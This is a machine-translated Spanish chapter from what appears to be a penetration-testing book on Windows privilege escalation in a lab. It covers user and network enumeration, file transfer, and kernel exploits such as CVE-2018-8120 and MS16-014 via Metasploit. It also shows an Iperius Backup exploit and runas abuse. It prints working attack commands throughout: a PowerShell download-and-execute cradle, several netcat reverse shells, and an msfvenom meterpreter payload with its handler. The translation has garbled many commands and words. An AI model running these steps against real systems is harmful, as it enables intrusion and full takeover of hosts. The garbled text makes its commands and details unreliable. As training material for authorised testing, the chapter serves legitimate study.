C:\Usuarios\Gus>wmic qfegetCaption, Descripción, HotFixID, InstalledOn TítuloDescripciónInstalado en HotFixID http://support.microsoft.com/?kbid=4570720UpdateKB45707209/8/2020 http://support.microsoft.com/?kbid=4465065ActualizaciónKB44650656/1/2020 http://support.microsoft.com/?kbid=4470788Actualización de seguridadKB44707883/6/2019 http://support.microsoft.com/?kbid=4487038Actualización de seguridadKB44870383/6/2019 http://support.microsoft.com/?kbid=4549947Actualización de seguridadKB45499476/1/2020 http://support.microsoft.com/?kbid=4561600Actualización de seguridadKB45616006/15/2020 http://support.microsoft.com/?kbid=4562562Actualización de seguridadKB45625626/15/2020 http://support.microsoft.com/?kbid=4566424Actualización de seguridadKB45664248/25/2020 http://support.microsoft.com/?kbid=4570332Actualización de seguridadKB45703329/8/2020 https://support.microsoft.com/help/4570333SecurityUpdateKB45703339/8/2020 ¿Quién soy? Cuando haya conectado un shell a un sistema operativo Windows, una pieza de información importante que desea saber es qué privilegios tiene. quien mi comando le dará esta información: C:\Usuarios\Gus>whoami windows10lab\gus C:\Usuarios\Gus>whoami /priv PRIVILEGIOSINFORMACIÓN ---------------------PrivilegeName Descripción Estado ================================================== =============== ======== SeShutdownPrivilege Apagarelsistema Canal de Telegram : @IRFaraExam Machine Translated by Google Discapacitado SeChangeNotifyPrivilegio Activado Comprobación de derivación transversal SeUndockPrivilege Discapacitado Quitar la computadora de la estación de acoplamiento SeIncreaseWorkingSetPrivilegeIncreaseaprocessworkingset Discapacitado SeTimeZonePrivilege Discapacitado cambiarlazonahoraria ListarUsuariosyGrupos Tiene muchas opciones para incluir a los usuarios locales en el sistema operativo Windows. ¿Por qué es importante para la escalada de privilegios? los usuarios y grupos proporcionarán una gran visión acerca de cómo cambiar de un usuario limitado a otro usuario con privilegios de administrador. este es usuario de red : C:\Users\Gus>netuser Cuentas de usuario para\\WINDOWS10LAB -------------------------------------------------- ----------------- ----Administrador adminDefaultAccount gus InvitadoWDAGCuenta de utilidad El comando se completó con éxito. A continuación, puede elegir el usuario al que desea apuntar y obtener su información: C:\Usuarios\Gus>net useradmin Nombre de usuario administración Nombre completo administración Comentario comentario del usuario administración Código de país/región Contable 000 (predeterminado del sistema) sí La cuenta caduca Nunca última contraseña 15/6/202012:47:47 p. m. La contraseña caduca Nunca Contraseña cambiable 16/6/202012:47:47 p. m. Se requiere contraseña El usuario puede cambiar la contraseña sí sí Canal de Telegram : @IRFaraExam Machine Translated by Google Estaciones de trabajo permitidas Todos Guión de inicio de sesión Perfil del usuario directorio de inicio Último inicio de sesión9/4/2020 5:01:21 p. m. Horas de inicio de sesión permitidas Todos Membresías de grupos locales *Administradores *Remoto Usuarios de escritorio *Membresías del grupo global de usuarios*Ninguno El comando completó se correctamente. Para enumerar los grupos locales en el host de Windows, use el comando netlocalgroup : C:\Usuarios\Gus> net localgroup Alias para\\WINDOWS10LAB -------------------------------------------------- ----------------- ----* AccessControlAssistanceOperadores * Administradores * Backupoperadores * Criptografos operadores * Distribuidores * Distribuidores * EventLograds * Huésped * HyperVadministrators * Iis_Irs * NetworkConfigurationoperators * PerformanceLogusers * PerformanceMonitoryers Para obtener información detallada sobre un determinado grupo, use esto: Canal de Telegram : @IRFaraExam Machine Translated by Google C:\Usuarios\Gus> net localgroupIIS_IUSRS AliasnameIIS_IUSRS Grupo integrado utilizado por Internet Information Comment Services. Miembros -------------------------------------------------- ----------------- ----NTAUTHORITY\IUSR El comando se completó correctamente. Si el host está conectado al controlador de dominio, entonces puede enumerar los grupos de dominio, como se muestra aquí: C:\Users\Gus>net group/domain La solicitud se procesará en un controlador principal para el dominio KCorp.local. Cuentas de grupo para\\AD-Server.KCorp.local -------------------------------------------------- ----------------- ----*Controladores de dominio clonables *DnsUpdateProxy *Administradores de dominio *Equipos de dominio *Controladores de dominio *Invitados de dominio *Usuarios de dominio *Administradores de empresa *Administradores de clave de empresa *Controladores de dominio de solo lectura de empresa *Propietarios del creador de directivas de grupo *Administradores clave *Usuarios protegidos *Controladores de dominio de solo lectura *Administradores de esquema completo El comando se completó con éxito. Para ver los detalles sobre un determinado grupo de dominio, utilice: C:\Usuarios\Gus> grupo/dominio de red"DomainAdmins" La solicitud se procesará en un controlador principal para el dominio KCorp.local. Nombre del grupo Administradores de dominio Comentario Administradores Designados Del Dominio Canal de Telegram : @IRFaraExam Machine Translated by Google Miembros -------------------------------------------------- ----------------- ----- Administrador El comando se completó con éxito. RedesInformación Para obtener una lista de todas las interfaces de red y sus direcciones IP asociadas, puede utilizar el comando ipconfig : C:\Usuarios\Gus>ipconfig /todos Configuración IP de Windows . . . . . Sufijo Dns primario. Tipo de nodo. . . . . . Enrutamiento IP Habilitado.. WINSProxy Habilitado.. DNSSuffixSearchList.. Nombre de host. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . : : : : : : Windows10Lab KCorp.local Híbrido No No KCorp.local Adaptador EthernetEthernet0: Sufijo DNS específico de la conexión. . . . . . . . . . Descripción. Conexión de red . . . . . . Dirección física.. . . . . . . . . DHCP habilitado.. Configuración automática habilitada. . . . . . Enlace-direcciónIPv6local. fe80::8920:1b10:a0d5:635b%4(Preferido) . . . . . . . . Dirección IPv4.. Máscara de subred. . . . . . . . . . . . . . . . . Contrato obtenido.. 17:30:43 El arrendamiento caduca. . . . . . . . . 8:58:33 a. m. Puerta de enlace predeterminada. . . . . . . . . . . . . . . . . Servidor DHCP. . . . . . . . . . DHCPv6IAID. . . . . . DHCPv6ClientDUID.. 29-1B-72-43 Servidores DNS.172.16.0.1 :KCorp.local . :Intel(R)82574LGigabit . . . . :00-0C-29-1B-72-43 :Sí :Sí : . :172.16.0.104(Preferido) . :255.255.255.0 . :martes,8 de septiembre de 2020 . :jueves,17 de septiembre de 2020 . . . . :172.16.0.1 :172.16.0.2 :67111977 : 00-01-00-01-26-66-BD-99-00-0C . . . . . . . . . . :172.16.0.2 NetBIOS sobre Tcpip.. . . . . . . :Activado Canal de Telegram : @IRFaraExam Machine Translated by Google […] Para enumerar la tabla de enrutamiento del host local , puede usar el comando de impresión de ruta. la tabla de enrutamiento de host le mostrará todas las conexiones de ruta de red a otros hosts en la misma red: C:\Usuarios\Gus> imprimir ruta ================================================== ====== Lista de interfaz 4…000c291b7243……Intel(R)82574LGigabitNetworkConnection 6…9cb6d0fd7b1a…….Dispositivo Bluetooth (Red de área personal) 1………………………………Interfaz de bucle invertido de software1 ================================================== ====== Tabla de rutas IPv4 ================================================== ====== rutas activas: Interfaz Métrica NetworkDestinationNetmaskGateway0.0.0.00.0.0.0172.16.0.1172.16.0.104255.0.0.0Onlink127.0.0.0127.0.0.1127.0.0.1255.255.255.255Onlink127.0.0.1127.255.255.255255.255.255.255Onenlace172.16.0.104 link127.0.0.1172.16 .0.0255.255.255.0En 25 331 331 331 281 […] Para enumerar todas las conexiones actuales establecidas desde el host de Windows (por ejemplo, web servidor, SMB, RDP, etc.), establezca: C:\Usuarios\Gus>netstat ÿano Conexiones activas PID LocalAddressForeignAddressState0.0.0.0: 1350.0.0.0: 00.0.0.0: 4450.0.0.0: 00.0.0.0: 33890.0.0.0: 00.0.0.0: 00.0.0.0: 76800.0.0.0: 50400.0.0.0: 00:00:04:00:04 ESCUCHANDO940 ESCUCHANDO4 00.0.0.0:496650.0.0.0:0 ESCUCHANDO736 ESCUCHANDO5608 ESCUCHANDO2056 ESCUCHAR508 ESCUCHANDO1528 ProtoTCPTCPTCPTCPTCPTCPTCPTCP[…] Para enumerar la configuración y el estado del firewall, debe usar el comando netsh : C:\Usuarios\Gus> estado de demostración del cortafuegos netsh Canal de Telegram : @IRFaraExam Machine Translated by Google Estado del cortafuegos: -------------------------------------------------- ----------------- Perfil=Dominio Modo operativo = Deshabilitar Modo de excepción=Habilitar Multidifusión/broadcastresponsemode=Habilitar Modo de notificación=Habilitar Grouppolicyversion=WindowsDefenderFirewall Remoteadminmode=Deshabilitar […] C:\Usuarios\Gus>netsh firewallshowconfig Configuración del perfil de dominio (actual): -------------------------------------------------- ----------------- Modo operativo = Deshabilitar Modo de excepción=Habilitar Multidifusión/broadcastresponsemode=Habilitar Modo de notificación=Habilitar […] Para enumerar los recursos compartidos de red en el host de Windows, deberá usar la red compartir comando. Acceder a una carpeta compartida a veces revelará secretosenelhostobjetivo: C:\Usuarios\Gus> reparto neto Nombre compartidoRecursoObservación -------------------------------------------------- ----------------- ----RemoteIPC IPC$C$C:\ADMIN$C: Compartir por defecto \WindowsCC:\ Administrador remoto SharedC:\Usuarios\admin\Documentos\Sha... Shared_GusC:\Usuarios\Gus\Documentos\Compartido UsuariosC:\Usuarios El comando se completó con éxito. Mostrar permisos débiles Para comprobar los permisos de una carpeta/archivo, puede utilizar el comando icacls. Nota que si está utilizando un antiguo sistema Windows heredado (anterior a Windows Vista), entonces tiene que usar el comando cacls : Canal de Telegram : @IRFaraExam Machine Translated by Google C:\Usuarios\Gus\Documentos>icacls Shared CompartidoWINDOWS10LAB\admin: (OI) (IC) (F) (I) (OI) (CI) (F) (I) (OI) (CI) (F) (I) (OI) (CI) (F) AUTORIDAD\SISTEMA: BUILTIN\Administradores: WINDOWS10LAB\Gus: Archivos 1 procesados correctamente; archivos 0 procesados fallidos Lo que está buscando en la salida es lo siguiente: (F) :Acceso total (M) :Modificaracceso (W) :acceso de solo escritura Para encontrar todos los permisos débiles en una unidad de disco específica, puede usar el Utilidad Sysinternals Accesschk.exe . Para obtener una copia del archivo, puede descargar del sitio oficial de Microsoft en docs.microsoft.com/en us/sysinternals/ downloads/accesschk: C:\Usuarios\Gus\Documentos\AccessChk>accesschk.exe /accepteula ÿuwqsUsersc:\*.* Accesschkv6.12-Informa permisos efectivos para objetos asegurables Copyright(C)2006-2017MarkRussinovich Sysinternals-www.sysinternals.com RWc:\$Papelera.de.reciclaje RWc:\ProgramData RWc:\ProgramData\IperiusBackup RWc:\ProgramData\USOShared RWc:\ProgramData\VMware RWc:\ProgramData\IperiusBackup\IperiusAccounts.ini RWc:\ProgramData\IperiusBackup\IperiusConfig.ini RWc:\ProgramData\IperiusBackup\Jobs RWc:\ProgramData\IperiusBackup\Logs Listado de programas instalados Para enumerar todos los programas instalados, puede usar un comando de PowerShell para mostrar el contenido de las carpetas Archivos de programa y Archivos de programa (x86). aplicaciones nos permitirán instalar cualquier software antiguo que podamos explotar). PSC:\Users\Gus> GetÿChildItem'C:\ProgramFiles','C:\Program Canal de Telegram : @IRFaraExam Machine Translated by Google Archivos(x86)'|ftParent,Nombre,LastWriteTime Padre ------ Nombre ---- LastWriteTime ------------- Archivos de programa Archivos comunes 6/1/20209:40:37 Archivos de programa PM explorador de Internet 9/8/20205:30:11 Archivos de programa 12:48:47 UNP 15/06/2020 Archivos de programa vmware 6/1/20209:40:40 Defensor de Windows 3/6/202010:13:43 Defensor de Windows Protección contra amenazas avanzada 9/8/20205:30:11 Correo de Windows 15/9/20183:33:53 Archivos de programa PM Reproductor de medios de Windows 15/6/20205:41:10 Archivos de programa WindowsMultimedia Platform 9/15/20185:10:10 ventanas 15/9/20183:42:33 Archivos de programa PM Visor de fotos de Windows 15/6/20205:41:10 ProgramaArchivosAM WindowsPortátilDispositivos 9/15/20185:10:10 SOY SOY Archivos de programa SOY Archivos de programa PM Archivos de programa SOY SOY Archivos de programa SOY […] Listado de tareas y procesos Para obtener una lista de todas las tareas y procesos en el sistema operativo Windows, deberá usar el comando tasklist/v . La salida de este comando es grande y engorrosa. Puede filtrar los resultados para mostrar solo los procesos del sistema: C:\>lista de tareas/v/fi"nombredeusuarioeqsystem" ImageName EstadoUsuarioNombre ========== ======= PIDSesionName CPUTime =============== Sesión# Título de la ventana ======== Sistema inactivo08 Proceso 0 Servicios AUTORIDAD\SISTEMA desconocido PARA Canal de Telegram : @IRFaraExam Uso de memoria ========= Machine Translated by Google 67:36:31N/A Para enumerar las tareas programadas en el host, puede usar el comando PowerShell para obtener los resultados. En el siguiente comando, estamos usando un filtro para excluir las tareas relacionadas con Microsoft, ya que estamos interesados en las tareas programadas personalizadas: PSC:\Users\Gus> GetÿScheduledTask|where{$_.TaskPathÿnotlike"\Microsoft*"}| ftTaskName,TaskPath,State Nombre de la tarea TaskPathState ------------------ -- User_Feed_Synchronization-{39054AFF-4CE0-4A65-B33D-5F0D58A8935F}\ Listo Transferencias de archivos Para los sistemas operativos Linux o Windows, necesitaremos transferir archivos al host de destino, especialmente cuando tengamos que lidiar con un exploit de kernel. En capítulos anteriores, vio los conceptos básicos de cómo transferir archivos a un host de Linux. WindowsHostDestino Si el host de destino es un sistema operativo Windows, puede usar las siguientes opciones para transferir archivos: Utilice una unidad compartida Samba e intente acceder a ella desde el shell del símbolo del sistema limitado de Windows: >copiar\\[SMBIPAddress]\[SMBFolderName]\[FileToTransfer] Utilice un cliente FTP para descargar los archivos en el host de Windows utilizando el símbolo del sistema: >ftpopen[Dirección IP del servidor FTP] Luego, ingrese las credenciales. >ftp>binario >ftp>get[nombre de archivo] Canal de Telegram : @IRFaraExam Machine Translated by Google Mi opción favorita es descargar y ejecutar el archivo usando PowerShell. Para realizar el trabajo, deberá alojar el exploit en un servidor web y, a continuación, ejecutar el siguiente comando en el símbolo del sistema: >powershell"IEX(NewObjectNet.WebClient).downloadString('http://[IPAddress]/[filename]')" El segundo método de transferir archivos usando PowerShell para crear el script en el host de Windows y luego ejecutarlo. Para crear el archivo de script, debe usar los siguientes comandos en el símbolo del sistema: >echo$storageDir=$pwd>wget.ps1 >echo$webclient=New-ObjectSystem.Net.WebClient>>wget.ps1 >echo$url="http://[IP]/ [filename]">>wget. ps1 >echo$file="[nombre de archivo]">>wget.ps1 >echo$webclient.DownloadFile($url,$file)>>wget.ps1 Recuerde que necesita reemplazar la dirección IP y el nombre del archivo de explotación con su información. Ahora, para ejecutar el archivo wget.ps1 , use PowerShell nuevamente para hacer el trabajo: >powershell.exe-ExecutionPolicyBypass-NoLogo-NonInteractive-NoProfile-Filewget.ps1 LinuxHostDestino Analicemos algunas formas de transferir archivos a un sistema operativo Linux mediante la ventana de terminal: Descarguelosarchivosdesdeunservidorwebremotomedianteunodelossiguientescomandos: $wgethttp://[IP]/[nombre de archivo] $curlo[nombre de archivo]http://[IP]/[nombre de archivo] En FreeBSD, usaría $fetch-o[nombre de archivo] http://[IP]/[nombre de archivo] . Si el servidor remoto ejecuta un servicio SSH, entonces podemos descargar el archivo de explotación utilizando una copia segura (SCP): $scpuser@IP:RemotePathLocalPath Por ejemplo, para copiar exploit.bin de un servidor SSH remoto Canal de Telegram : @IRFaraExam Machine Translated by Google (IP: 172.16.0.33) al directorio tmp local, use esto: [email protected]:/exploit.bin/tmp/ Si el host de la víctima tiene netcat instalado , también puede usarlo para transferir archivos . OnKali: root@kali:~#nc-lvp1111<test.txt escuchando[cualquiera]1111… En Ubuntu: gus@ubuntu:~$ nc172.16.0.1021111>test.txt ^C gus@ubuntu:~$ ls DesktopDescargasVideos DocumentosmailcowdockerizedPicturestemptest.txt Música PublicTemplates WindowsSistemaExplotación El objetivo principal de este capítulo es obtener un shell de administrador. En Windows, puede ir más allá de una cuenta de administrador y obtener una cuenta SYSTEM en su lugar. Si ese es el caso, entonces tendrá acceso total al host de Windows de destino. Las cuentas de usuario se utilizan en el sistema operativo Windows para permitir que los humanos inicien sesión en el host (por ejemplo, la cuenta de usuario administrador). Las cuentas de servicio son utilizadas por los servicios del sistema operativo y generalmente tienen un permiso de alto privilegio (por ejemplo, la cuenta SYSTEM). Los grupos se utilizan para agrupar cuentas de usuario. Un buen ejemplo es el grupo Administradores, que contiene todas las cuentas de usuario con privilegios de administrador. Es más fácil administrar un grupo de usuarios en lugar de manejar cada uno (esto es útil en organizaciones grandes donde tienen miles de empleados para administrar). Los recursos son los elementos físicos a los que cada grupo o usuario necesita acceder, Canal de Telegram : @IRFaraExam Machine Translated by Google como lo siguiente: archivos carpetas Servicios Los permisos o listas de control de acceso (ACL) son las reglas que definen quién tiene acceso a qué. Una ACL típica se parece a la Figura 11.1 en el sistema operativo Windows. Figura 11.1 Permisos de Windows WindowsKernelExploits Como aprendió en el capítulo anterior, el kernel es el núcleo del sistema operativo. Una vez que explota el kernel, tiene la propiedad total del sistema (ya sea Windows o Linux). Para hacer el trabajo, podemos usar la misma metodología que usamos para el sistema operativo Linux: 1. Obtenga la versión del sistema operativo. 2.Encontrarexplotación coincidente. 3. Transfiera el exploit a un directorio donde tenga permisos de escritura (usted Canal de Telegram : @IRFaraExam Machine Translated by Google puede necesitar compilarlo antes de transferirlo). 4. Ejecute y disfrute del shell raíz. Obtención de la versión del sistema operativo En esta etapa, estamos conectados de forma remota a un host de Windows 7 usando un número limitado shell. A continuación, ejecute el comando system info para ver los detalles sobre el funcionamiento sistema: C:\Usuarios\Gus\Documentos> info del sistema |findstrOS información del sistema|findstrOS Nombre del SO: Versión del MicrosoftWindows7Professional 6.1.7601ServicePack1Build7601 SO: [[] FindaMatchingExploit El desafío en este paso es encontrar la explotación correcta. resultado, puede usar una herramienta llamada wesng (Windows Exploit Suggester) en su KalihostparavisualizarcandidatosparaestetipodeSO.Puedeobtenerwes.py _ fromtheGitHubrepoat github.com/bitsadmin/wesng/blob/master/wes.py. Primero, ejecute el comando de información del sistema sin filtrar primero. Luego , copie la salida a un archivo sysinfo.txt en Kali . Finalmente, use la herramienta wes.py para verificar paracualquierexplotación: root@kali:~# pythonwes.pyÿ actualizar root@kali:~# pythonwes.pysysinfo.txtÿi'ElevationofPrivilege'ÿÿexploitsÿonly WindowsExploitSuggester0.98(https://github.com/ bitsadmin/wesng/) [+]Salida de información del sistema de análisis [+]Sistema Operativo -Nombre: Basado en Windows7forx64 Sistemas Paquete de servicio17 -Generacion: -Construir: -Versión: -Arquitectura: -Revisiones instaladas(3): KB976902 [+]Cargando definiciones -Fechadecreacióndedefiniciones: 7601 Ninguna basado en x64 KB2534111, KB2999226, 20200902 Canal de Telegram : @IRFaraExam Machine Translated by Google [+]Determinación de parches faltantes [+]Aplicación de filtros de visualización [+]Vulnerabilidades encontradas Fecha: CVE: KB: Título: Núcleo de Windows 20161108 CVE-2016-7216 KB3197867 Actualización de seguridad para Basado en Windows7forx64 Producto afectado: Sistemas Service Pack 1 Componente afectado: Gravedad: Impacto: Exploit: db.com/exploits/40766/ Importante ElevationofPrivilege https://www.explotar […] Los resultados de salida son abrumadores, y tratando de entender el PoCon exploitÿdb es complicado. La forma más fácil de usar uno de los siguientes PoC repositorios en GitHub: github.com/SecWiki/windows-kernel-exploits Uno de los elementos, “CVEÿ2018ÿ8120”, está en la lista de GitHub, por lo que lo usaremos en los siguientes pasos. Ejecutar la carga útil y obtener un RootShell Todo lo que tiene que hacer es descargar x64.exe desde GitHu y transferirlo al host de Windows usando su caparazón limitado. Utilicé Chromium para descargar el archivo en Kali, solo usemos netcat (que ya transfirí al host de Windows) para spawnanewrootshell. Primero, desde Kali, escuche las conexiones entrantes en el puerto 3333: raíz@kali:~# ncÿnlvp3333 escuchando[cualquiera]3333… En el shell limitado de Windows, conéctese al puerto de escucha usando el privilegio archivo de escalación ( x64.exe ) que descargó de GitHub: C:\Usuarios\Gus\Documentos>x64.exe "nc.exeÿnv172.16.0.1023333ÿecmd.exe" x64.exe "nc.exe-nv172.16.0.1023333-ecmd.exe" CVE-2018-8120exploitby@unamer(https://github.com/unamer) Canal de Telegram : @IRFaraExam Machine Translated by Google [+]Getmanageratfffff900c0884c90,workeratfffff900c29ba3d0 [+]Activando vulnerabilidad… [+]Sobrescribiendo…fffff80002c58c68 Cuando regrese a la ventana de Kaliterminal, debe tener un shell raíz: root@kali:~#nc-nlvp3333 escuchando en[cualquier]3333… conectarse a[172.16.0.102]desde(DESCONOCIDO)[172.16.0.101]49219 MicrosoftWindows[Versión 6.1.7601] Copyright(c)2009MicrosoftCorporation.Todoslosderechosreservados. C:\Usuarios\Gus\Documentos>whoami whoami ntauthority\system TheMetasploitPrivEscMagic Metasploit es una funcionalidad con privilegios elevados que le permite hacer el trabajo fácilmente. Esto sonará como una herramienta de script para niños, pero es efectiva y personalmente la uso con frecuencia para encontrar exploits de kernel. Estos son los pasos necesarios para que esto funcione: 1.GetaMeterpretershellprimero. 2. Intente ejecutar el comando getsystem (esto es aplicable a los sistemas operativos Windows heredados x86). 3. A continuación, ejecute el módulo “local exploitsuggester”, que mostrará una lista de los posibles candidatos. 4. Pruebe con cada uno y observe qué candidato pasará con éxito. Comencemos. El primer paso es generar un pretershell de medidor usando MSFvenomontheKalihost: root@kali:~# msfvenomÿpwindows/x64/ meterpreter_reverse_tcpLHOST=172.16.0.102LPORT=3333ÿfexe>m_shell.exe [-]Noseseleccionóningunaplataforma,eligiendoMsf::Module::Platform::Windowsfromthepayload [-]Noarchselected,selectingarch:x64fromthepayload Noencoderspecified , emitiendo carga útil sin procesar Tamaño de carga útil: 201283 bytes Tamaño final del archivo exe: 207872 bytes A continuación, comience a escuchar en Kaliusando el módulo controlador en Metasploit: Canal de Telegram : @IRFaraExam Machine Translated by Google msf5> useexploit/multi/handler [*]Uso de la carga útil configuradagenérico/shell_reverse_tcp msf5exploit(multi/controlador)> setPAYLOADwindows/ x64/meterpreter_reverse_tcp PAYLOAD=>windows/meterpreter/reverse_tcp msf5exploit (multi / controlador)> setLHOST172.16.0.102 LHOST=>172.16.0.102 msf5exploit(multi/controlador)> setLPORT3333 LPORT => 3333 msf5exploit(multi/controlador)> setExitOnSessionfalse ExitOnSession=>falso msf5exploit(multi/handler)> exploitÿjÿz [*]Exploitejecutándose como trabajo en segundo plano0. [*]Exploitcompletó, pero no se creó ninguna sesión. msf5exploit(multi/handler)>[*]StartedreverseTCPhandleron172.16.0.102:3333 En esta etapa, transfiera el archivo m_shell.exe al host de Windows y ejecútelo use un usuario limitado. Volviendo al oyente, debería ver que tiene un conexión exitosa: msf5exploit(multi/controlador) > exploit-jz [*]Exploitejecutándose como trabajo en segundo plano0. [*]Exploitcompletó, pero no se creó ninguna sesión. [*] IniciadoreverseTCPhandleron172.16.0.102: 3333msf5exploit (multi / handler)> [*] Meterpretersession1abierto (172.16.0.102:3333-> 172.16.0.104:50536) en2020-09-0413: 09: 14-0400 [*]Meterpretersession2 abrió (172.16.0.102:3333->172.16.0.101:49159) a las 2020-09-0413:10:28-0400 msf5exploit(multi/handler)>sesiones Sesiones activas =============== Identificación -- Nombre ---- Escribe ---- Información ----------- 1 Conexión ---------- meterpreterx86/windowsWINDOWS10LAB\Gus@WINDOWS10LAB 172.16.0.102:3333->172.16.0.104:50536(172.16.0.104) 2 meterpreterx64/windowsWin7Lab\[email protected]:3333ÿ >172.16.0.101:49159(172.16.0.101) Canal de Telegram : @IRFaraExam Machine Translated by Google msf5exploit(multi/manejador)> ¡Impresionante! Para este ejercicio, nos interesa la segunda sesión en el host de Windows 7. A continuación, inicie la sesión previa del medidor interactivo e intente obtener también la versión del sistema operativo: msf5exploit(multi/handler)> sesionesÿi2 [*]Iniciando interacción con 2… meterpreter> sysinfo Computadora: WIN7LAB: Windows7 (6.1Build7601, ServicePack1). Arquitectura sistema operativo:x64 Idioma del sistema:en_US Dominio :GRUPO DE TRABAJO Usuarios registrados: 1: x64/ windows Medidorpretermetropreter> Tenga en cuenta que el preter del medidor x64 se ejecuta en una versión de Windows x64. Siempre es una buena práctica generar una carga útil del preter del medidor con la misma arquitectura que el host de destino. A continuación, ejecute el método getsystem : meterpreter> getsystem [-]priv_elevate_getsystem:Error en la operación:El entorno es incorrecto.Se intentó lo siguiente: [-]Suplantación de tubería con nombre (en memoria/administrador) [-]Suplantación de identidad de canalización con nombre (cuentagotas/administrador) [-]TokenDuplication(InMemory/Admin) Es normal que la operación haya fallado porque el método getsystem funciona en el sistema operativo Windows x86 heredado (por ejemplo, Windows 2003/XP). meterpreter> background [*]Backgroundingsession2… msf5exploit(multi/ handler)> usepost/multi/recon/ local_exploit_suggester msf5post(multi/recon/ local_exploit_suggester)> setsession2 session=>2 msf5post(multi/recon/local_exploit_suggester)> ejecutar [*]172.16.0.101-Recopilación de exploits locales para x64/windows… [*]172.16.0.101-17exploitschecksareintesting… Canal de Telegram : @IRFaraExam Machine Translated by Google [+]172.16.0.101-exploit/windows/local/bypassuac_dotnet_profiler:Elobjetivopareceservulnerable. [+]172.16.0.101-exploit/windows/local/bypassuac_sdclt:Elobjetivopareceservulnerable. Las versiones nil se desaconsejan y quedarán en desuso en Rubygems4 [+]172.16.0.101-exploit/windows/local/ms10_092_schelevator:Elobjetivopareceservulnerable. [+]172.16.0.101ÿexploit/windows/local/ms16_014_wmi_recv_notif:Elobjetivopareceservulnerable. [*]Ejecución del módulo posteriorcompletada msf5post(multi/recon/local_exploit_sugester)> Mirando la última piedra en la lista, parece que es la más reciente, así que Úselo para esta demostración. (Probé los otros, y todos fallaron). msf5post(multi/recon/local_exploit_sugester)>usar exploit/windows/local/ ms16_014_wmi_recv_notif [*]Sin carga útil configurada, por defecto en windows/x64/ meterpreter/reverse_tcp msf5exploit(windows/local/ms16_014_wmi_recv_notif)> setpayloadwindows/x64/ meterpreter_reverse_tcp [-] El valor especificado para la carga útil no es válido. msf5exploit(windows/local/ms16_014_wmi_recv_notif)> setsession2 sesión=>2 msf5exploit (ventanas/local/ms16_014_wmi_recv_notif)> setLHOST172.16.0.102 LHOST=>172.16.0.102 msf5exploit(windows/local/ms16_014_wmi_recv_notif)> setLPORT4444 LPORT => 4444 msf5exploit(windows/local/ms16_014_wmi_recv_notif)> ejecutar [*]Se inició el controlador TCP inverso en 172.16.0.102:4444[*]Iniciando el bloc de notas para alojar el exploit... [+]Lanzamiento del Proceso 2604. [*]Inyectando reflexivamente el archivo DLL de explotación en 2604... [*]Inyectandoexplotaciónen2604… [*]Exploitinjected.Injectingpayloadinto2604… [*]Carga útil inyectada. Ejecutando explotación... [+] Explotación finalizada, espere a que se complete la ejecución de la carga útil (con suerte con privilegios). [*] Etapa de envío (201283 bytes) a 172.16.0.101 [*]Meterpretersession3abierto(172.16.0.102:4444>172.16.0.101:49160)en2020-09-0413:25:03-0400 metropreter>presenciado Nombre de usuario del servidor: NTAUTHORITY\SYSTEM Canal de Telegram : @IRFaraExam Machine Translated by Google metro preter> Tenemos una cuenta del sistema. ¡Eso es siete mejor que una cuenta de administrador! Explotación de aplicaciones de Windows Las aplicaciones pueden instalarse en los sistemas operativos Windows y luego ejecutarse con privilegios de administrador/sistema. Cada aplicación se explotará de manera diferente, pero el objetivo es el mismo (obtener una cuenta de administrador local). 1.IdentifiquelasaplicacionesyainstaladasenelsistemaWindowslocal. 2. Comparta y descubra si hay algún exploit en Internet. 3. Aplique las instrucciones que se enumeran en la PoC de explotación. La forma más fácil de enumerar las aplicaciones instaladas en el sistema operativo Windows es navegar por el directorio Archivos de programa y buscar una aplicación que suene una campana. Ya estoy conectado a un host a través de una sesión RDP con el usuario limitado gus. La inspección de la carpeta Archivos de programa (x86) muestra que una aplicación personalizada llamada Iperius Backup ya está instalada en el sistema local (consulte la Figura 11.2). Figura 11.2 Copia de seguridad de Iperius Mi siguiente desafío es determinar la versión de este software. Al abrir la aplicación y acceder a la pestaña Acerca de, se muestra que la versión instalada es 6.1.0, como se muestra en la Figura 11.3. (Recuerde que nos estamos conectando a través de RDP, por lo que tenemos acceso a la GUI). Canal de Telegram : @IRFaraExam Machine Translated by Google Figura 11.3 Ficha Acerca de Iperius Buscando en el sitio web de exploitÿdb , encontré un buen candidato. Consulte la figura 11.4. Figura 11.4 ExploitÿDB–IperiusExploitation Siguiendo las instrucciones de la PoC, siga estos pasos (consulte la Figura 11.5): 1. Cree un trabajo de respaldo. 2. Establezca el directorio de origen en la pestaña Elementos. 3.EstablezcaeldirectorioDestinos. 4. En la ficha Otro proceso, cree un script llamado evil.bat para ejecutar netcat El script netcat contiene el siguiente código : @echooff C: \Usuarios\Gus\Documentos\Compartido\nc.exe172.16.0.1022222-ecmd.exe Es hora de obtener el shell del administrador. En nuestro host Kali, ejecutaremos netcat en modo de escucha en el puerto 2222. Una vez que el puerto de escucha se esté ejecutando, cambie al host de Windows, guarde el trabajo de copia de seguridad y ejecute la unidad. Cuando regresemos al host Kali, deberíamos tener un nuevo shell de administrador remoto: Canal de Telegram : @IRFaraExam . Machine Translated by Google Figura 11.5 Iperius– Evil.batConfig root@kali:~# ncÿnlvp2222 escuchando[cualquiera] 2222… conectarse a[172.16.0.102]desde(DESCONOCIDO)[172.16.0.104]50451 MicrosoftWindows[Versión10.0.17763.1397] (c)2018MicrosoftCorporation.Todoslosderechosreservados. C:\Usuarios\Gus\Documentos\Compartido>whoami whoami windows10lab\admin CorriendoAsinWindows Si está ejecutando un usuario con privilegios bajos y tiene credenciales de administrador (el nombre de usuario y la contraseña), entonces puede usar esas credenciales para aumentar su privilegio. La forma más práctica es copiar un shell inverso primero (por ejemplo, netcat o uno generado usando MSFvenom) . En este ejemplo, primero iniciamos una escucha de netcat en Kalius usando el número de puerto Canal de Telegram : @IRFaraExam Machine Translated by Google 6666. A continuación, utilizando nuestro shell limitado, se conectará a este escuchando las credenciales de administrador: C:\Usuarios\Gus>C:\Windows\System32\runas.exe/env/noprofile/ user:admin"C:\Usuarios\Gus\Documentos\nc.exe172.16.0.1026666ÿeC: \Windows\System32\ cmd.exe" Ingrese la contraseña para admin: Intentando iniciar C:\Users\Gus\Documents\nc.exe172.16.0.1026666-eC: \Windows\System32\cmd.exe como usuario "WIN7LAB\admin"... En Kali, usted debe ser un administrador: root@kali:~# ncÿnlvp6666 escuchando en [cualquier] 6666… conectarse a [172.16.0.102] desde (DESCONOCIDO) [172.16.0.101] 49174 Microsoft Windows [Versión 6.1.7601] Copyright(c)2009MicrosoftCorporation.Todoslosderechosreservados. C:\Usuarios\Gus>whoami whoami win7lab\admin PSExecTool La utilidad de línea de comandos de PSExec es similar a ejecutar como 